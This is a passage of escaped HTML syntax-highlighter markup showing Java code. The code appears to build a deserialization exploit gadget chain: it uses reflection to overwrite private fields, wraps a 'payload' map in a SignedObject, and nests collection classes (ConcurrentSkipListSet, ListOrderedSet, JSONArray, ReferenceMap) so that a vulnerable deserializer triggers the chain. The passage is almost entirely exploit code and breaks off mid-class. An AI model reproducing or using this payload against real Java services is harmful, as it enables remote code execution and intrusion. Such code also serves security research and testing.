<\/span><span class=\"crayon-v\">array2<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-87\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-88\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-89\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Field <\/span><span class=\"crayon-v\">keyField<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-90\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-91\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">keyField<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">node<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getClass<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getDeclaredField<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;key&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-92\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">catch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">Exception<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-93\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">keyField<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">Class<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">forName<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;java.util.MapEntry&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getDeclaredField<\/span><span class=\"crayon-sy\">(<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-94\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;key&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-95\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-96\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-97\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">keyField<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">setAccessible<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-98\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">keyField<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">set<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">node<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">entry<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-99\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-100\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">KeyPairGenerator <\/span><span class=\"crayon-v\">keyPairGenerator<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">KeyPairGenerator<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getInstance<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;DSA&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-101\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">keyPairGenerator<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">initialize<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1024<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-102\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">KeyPair <\/span><span class=\"crayon-v\">keyPair<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">keyPairGenerator<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">genKeyPair<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-103\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PrivateKey <\/span><span class=\"crayon-v\">privateKey<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">keyPair<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getPrivate<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-104\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PublicKey <\/span><span class=\"crayon-v\">publicKey<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">keyPair<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getPublic<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-105\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-106\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Signature <\/span><span class=\"crayon-v\">signature<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Signature<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getInstance<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">privateKey<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getAlgorithm<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-107\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">SignedObject <\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">SignedObject<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">map<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">privateKey<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">signature<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-108\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">JSONArray <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">JSONArray<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-109\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-110\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;asdf&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-111\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-112\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">ListOrderedSet <\/span><span class=\"crayon-v\">set<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ListOrderedSet<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-113\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Field <\/span><span class=\"crayon-v\">f1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">AbstractCollectionDecorator<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-t\">class<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-114\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getDeclaredField<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;collection&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-115\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">f1<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">setAccessible<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-116\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">f1<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">set<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">set<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-117\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-118\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">DummyComperator <\/span><span class=\"crayon-v\">comp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">DummyComperator<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-119\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">ConcurrentSkipListSet <\/span><span class=\"crayon-v\">csls<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ConcurrentSkipListSet<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">comp<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-120\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">csls<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-121\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-122\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">CopyOnWriteArraySet <\/span><span class=\"crayon-v\">a1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">CopyOnWriteArraySet<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-123\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">CopyOnWriteArraySet <\/span><span class=\"crayon-v\">a2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">CopyOnWriteArraySet<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-124\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-125\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">a1<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">set<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-126\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">Container<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Container<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">csls<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-127\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">a1<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">c<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-128\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-129\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">a2<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">csls<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-130\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">a2<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">set<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-131\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-132\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">ReferenceMap <\/span><span class=\"crayon-v\">flat3map<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ReferenceMap<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-133\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">flat3map<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">put<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Container<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">a1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;asdf&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-134\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">flat3map<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">put<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Container<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">a2<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;asdf&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-135\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-136\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flat3map<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-137\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-138\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-139\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">private<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">Object<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">writeReplace<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">throws<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ObjectStreamException<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-140\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-141\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-142\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-143\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">class<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Container<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">implements<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Serializable<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-144\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-145\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">private<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">Object<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">o<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-146\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-147\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Container<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">Object<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">o<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-148\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">o<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">o<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-149\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-150\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-151\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">private<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">Object<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">writeReplace<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">throws<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ObjectStreamException<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-152\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">o<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-153\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span 